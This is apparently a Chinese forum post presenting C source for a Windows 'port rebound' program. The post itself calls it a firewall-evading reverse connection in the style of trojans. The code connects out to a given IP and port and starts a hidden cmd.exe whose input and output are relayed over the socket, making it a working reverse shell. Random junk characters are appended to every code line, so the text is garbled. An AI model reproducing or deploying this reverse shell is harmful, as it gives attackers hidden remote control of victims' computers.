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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TmgC {_  
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/* ============================== 4D65VgVDM  
Rebound port in Windows NT Wa;N(zw0h  
By wind,2006/7 }?[];FB  
===============================*/ U9 iI2$  
#include j0l{Mc5  
#include VDxm|7  
196aYLE  
#pragma comment(lib,"wsock32.lib") V^7.@BeT  
%.bDK}  
void OutputShell(); J/]%zwDwS  
SOCKET sClient; 1}VaBsEV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p6JTNx D  
\h ~_<)  
void main(int argc,char **argv) {B$CqsvJ  
{ -%fQr5  
WSADATA stWsaData; [6VB&   
int nRet; V]zZb-m=  
SOCKADDR_IN stSaiClient,stSaiServer; *Y>w0k  
! ._q8q\  
if(argc != 3) |\(uO|)ju  
{ 7Ae`>5B#  
printf("Useage:\n\rRebound DestIP DestPort\n"); _S9)<RVI+  
return; V%-hP~nyBx  
} J v}  
F5?S8=i  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~&Z>fgOTJ  
)^:H{1'  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _c-3eQ1  
[Uup5+MCv  
stSaiClient.sin_family = AF_INET; z:Am1B  
stSaiClient.sin_port = htons(0); P@N+jS`Vf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %a/3*vz/I%  
ZSf &M  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %`]+sg[i  
{ =j>xu|q  
printf("Bind Socket Failed!\n"); 9E7G%-  
return; Lc!2'Do;  
} [t4v/vQT  
^s)`UZ<C=  
stSaiServer.sin_family = AF_INET; C m[}DB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +bumWOQ'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kjYM&q  
_LJF:E5L  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tSHW"R  
{ o[>d"Kp  
printf("Connect Error!"); "2mPWRItO  
return; .UP h  
} --$* q"  
OutputShell(); }`qAb/Ov  
} $tZ {>!N  
HzTmNm)  
void OutputShell() ^xe+(83S2?  
{ j[U#J  
char szBuff[1024]; ]BO:*&O  
SECURITY_ATTRIBUTES stSecurityAttributes; v@qP &4Sp  
OSVERSIONINFO stOsversionInfo; d]DV\*v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C8m9H8Qm  
STARTUPINFO stStartupInfo; Qx)b4~F?  
char *szShell; R'Jrbe|  
PROCESS_INFORMATION stProcessInformation; SwOW%o  
unsigned long lBytesRead; b~aM=71  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $INB_/R E  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v0DDim?cc  
stSecurityAttributes.lpSecurityDescriptor = 0; hTDK[4e  
stSecurityAttributes.bInheritHandle = TRUE; x7S\-<8  
= wz}yfdrC  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >V6t L;+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s|\)Y*B`  
AR [m+E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B0Df7jr%`>  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gGrVpOzBj  
stStartupInfo.wShowWindow = SW_HIDE; I[?\ Or  
stStartupInfo.hStdInput = hReadPipe; 5m1J&TZ0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *qzdt^[ xo  
'D21A8*N  
GetVersionEx(&stOsversionInfo); L$5,RUy  
G'JHimP2j  
switch(stOsversionInfo.dwPlatformId) lEk@I"  
{ JV~ Dly>  
case 1: w~@"r#-  
szShell = "command.com"; PK+sGV  
break; AQ)gj$ m3  
default: iwF_'I$#N  
szShell = "cmd.exe";  W9?* ~!  
break; CV0id&Nv  
} Kn^+kHh:  
0x<ASfka  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kp*v:*  
 {b!{~q  
send(sClient,szMsg,77,0); y-hTTd"{  
while(1) HTL6;87w+]  
{ T?RY~GA  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f\2IKpF2  
if(lBytesRead) |u>V> PN  
{ ~uhW~bT  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \WiCI:  
send(sClient,szBuff,lBytesRead,0); %r|sb=(yT  
} TnQ>v{Rx  
else =f~<*wQ  
{ BeUyt  
lBytesRead=recv(sClient,szBuff,1024,0); lrE"phYk  
if(lBytesRead<=0) break; c 4AJ`f.5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k7U.]#5V  
} Ll KO(Q{"  
} :A8r{`R'N  
We y*\@  
return; }R;}d(C`  
}
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